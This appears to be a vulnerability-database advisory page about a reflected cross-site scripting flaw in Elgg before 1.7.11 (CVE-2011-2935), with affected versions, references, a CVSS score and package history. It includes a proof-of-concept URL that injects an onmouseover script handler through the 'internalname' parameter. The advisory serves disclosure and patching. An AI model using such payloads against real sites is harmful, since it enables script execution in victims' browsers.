Elgg Reflected XSS Vulnerability
VULNERABILITY DESCRIPTION
The internalname parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser
PROOF-OF-CONCEPT/EXPLOIT
http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | elgg/elgg | < 1.7.11 | 1.7.11 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2011-2935
- https://github.com/Elgg/Elgg/issues/3544
- https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04
- https://github.com/Elgg/Elgg
- https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities
- https://security-tracker.debian.org/tracker/CVE-2011-2935
- https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released
- http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
elgg/elgg- Disclosed
- 22.04.2022
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-mcfm-j5g6-w26f - CC BY 4.0
Vulnerability history: elgg/elgg
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 12.2021 05.2022
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 4
Disclosures per year
- 2021: 2
- 2022: 3
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
-
Elgg Reflected XSS Vulnerability this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.